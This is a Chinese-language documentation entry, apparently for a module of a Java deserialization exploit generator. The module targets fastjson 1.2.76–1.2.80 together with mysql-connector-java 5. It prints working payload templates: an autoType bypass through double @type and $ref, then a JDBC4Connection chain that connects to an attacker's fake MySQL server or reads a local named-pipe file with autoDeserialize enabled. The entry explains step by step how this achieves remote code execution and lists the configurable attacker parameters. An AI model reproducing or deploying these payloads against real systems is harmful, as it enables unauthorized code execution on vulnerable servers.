- 类别:fastjson 别名:— 优先级:—
- 作者:—
- 依赖:
mysql5 < 5.1.49(mysql-connector-java)、1.2.75 < fastjson <= 1.2.80
生成两段 Fastjson JSON payload,利用 MySQL JDBC 驱动的「恶意服务端 / autoDeserialize」特性:通过 com.mysql.jdbc.JDBC4Connection 连接到攻击者控制的假 MySQL(或本地 NamedPipe 文件),当 ServerStatusDiffInterceptor 读取服务器返回的数据时触发 MySQL JDBC 客户端反序列化,进而 RCE。针对 fastjson 1.2.80,提供「Jdbc 链接(出网)」与「不出网 PileFile」两种触发方式。
- 入口
tags:FastjsonPayload、END—— 产物是交给 Fastjson 入口的 JSON 文本;END表示自身即最终 sink(触发 MySQL 客户端反序列化)。 - 衔接
nextTags:无。 excludes:无。
// FastjsonMySQL1_2_80.java(模板节选)
public static String template1 = "{\"a\":\"{\\\"@type\\\":\\\"java.lang.Exception\\\",\\\"@type\\\":\\\"com.fasterxml.jackson.core.exc.InputCoercionException\\\",\\\"p\\\":{}}\",\"b\":{\"$ref\":\"$.a.a\"},\"c\":\"{\\\"@type\\\":\\\"com.fasterxml.jackson.core.JsonParser\\\",\\\"@type\\\":\\\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\\\",\\\"in\\\":{}}\",\"d\":{\"$ref\":\"$.c.c\"}}";
public static String template2 = "{\n\t\"@type\": \"java.io.InputStream\",\n\t\"@type\": \"com.mysql.jdbc.CompressedInputStream\",\n\t\"conn\":{\n\t\t\"@type\": \"com.mysql.jdbc.JDBC4Connection\",\n\t\t\"hostToConnectTo\": \"%s\",\n\t\t\"portToConnectTo\": %s,\n\t\t\"info\": {\n\t\t\t\"user\": \"%s\",\n\t\t\t\"password\": \"pass\",\n\t\t\t\"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\n\t\t\t\"autoDeserialize\": \"true\",\n\t\t\t\"NUM_HOSTS\": \"1\"\n\t\t},\n\t\t\"databaseToConnectTo\": \"dbname\",\n\t}\n}";
public static String template3 = "... \"socketFactory\":\"com.mysql.jdbc.NamedPipeSocketFactory\",\"namedPipePath\":\"%s\",\"DBNAME\":\"test\" ...";
public Object getObject() {
if ("Jdbc链接".equals(this.mysqlVersion)) {
return "[INFO] Step1:\n" + template1 + "\n\n[INFO] Step2:\n" + String.format(template2, this.domain, this.port, this.user);
}
if ("不出网PileFIle".equals(this.mysqlVersion)) {
return "[INFO] Step1:\n" + template1 + "\n\n[INFO] Step2:\n" + String.format(template3, this.PipePath);
}
return "请选择 Jdbc链接/不出网PileFIle";
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}- 自包含、两段式:
invoke直接调用无参getObject(),产物按mysqlVersion分支拼出「Step1 + Step2」两段 payload,供分两次发送。 - Step1(template1)— autoType 绕过预热:利用 fastjson 1.2.80 的字符串内嵌 JSON +
$ref组合,a/c是内嵌 JSON 字符串,@type双写(java.lang.Exception→InputCoercionException、JsonParser→UTF8StreamJsonParser),b/d用$ref引用$.a.a/$.c.c迫使二次解析。这是 1.2.76~1.2.80 期间通过异常类/父类型「预置」目标类、绕过checkAutoType黑名单的手法,为 Step2 加载com.mysql.jdbc.*铺路。 - Step2 触发点(template2/template3):外层
@type双写java.io.InputStream→com.mysql.jdbc.CompressedInputStream,其conn为com.mysql.jdbc.JDBC4Connection。fastjson 通过 setter 填入连接参数:template2(Jdbc 链接/出网):hostToConnectTo/portToConnectTo/user指向攻击者假 MySQL;关键info里statementInterceptors=ServerStatusDiffInterceptor且autoDeserialize=true。当客户端连接假 MySQL 并读取其伪造响应时,ServerStatusDiffInterceptor在populateMapWithSessionStatusValues中对服务器返回值做 JDBC 反序列化——攻击者返回恶意序列化流即触发反序列化 gadget(配合 CC/CB 等),完成 RCE。template3(不出网 PileFile):把socketFactory换成com.mysql.jdbc.NamedPipeSocketFactory、namedPipePath指向本地已上传的PipeFile.bin,从本地命名管道文件读取伪造响应,实现不出网利用。注意源码 template3 中"NUM_HOSTS":"1",,"socketFactory"处有一个多余逗号(反编译原样,为已知模板细节)。
description提醒:不出网 PileFile 方式需先上传流文件;Dbname固定为test,改动会连不上,且生成的流文件变化后须重新生成。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
domain |
mysql ip | 假 MySQL 服务器地址(Jdbc 链接方式用) | 127.0.0.1 |
任意 IP/域名 |
port |
mysql端口 | 假 MySQL 端口 | 3308 |
任意端口 |
user |
mysql用户名 | 连接用户名 | mysql |
任意字符串 |
PipePath |
mysqlPipe文件地址 | 不出网方式的本地命名管道/流文件路径 | PipeFile.bin |
本地文件路径 |
mysqlVersion |
Jdbc链接/不出网PileFIle | 选择触发方式 | Jdbc链接 |
Jdbc链接、不出网PileFIle |
- 适用
1.2.75 < fastjson <= 1.2.80,且需目标 classpath 存在mysql-connector-java 5 (< 5.1.49)。 - 真正的 RCE 由 MySQL 驱动的
autoDeserialize+ServerStatusDiffInterceptor在客户端反序列化服务端数据时完成,因此目标还需存在可用的反序列化 gadget(如 CC/CB)。 - 出网方式需搭配假 MySQL 服务端;不出网方式需先上传 PipeFile 流文件,且
Dbname=test不可改。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 同族 MySQL 打法(不同 connector 版本):
FastjsonMySQLJdbc(Mysql-connector 1.2.68)、FastjsonMySQLPipe。 - 同族 Fastjson END 构件:FastjsonGroovy、FastjsonJdbcRowSetImpl、FastjsonJta。
- 需字节码 sink 的对照:FastjsonH2Jdbc。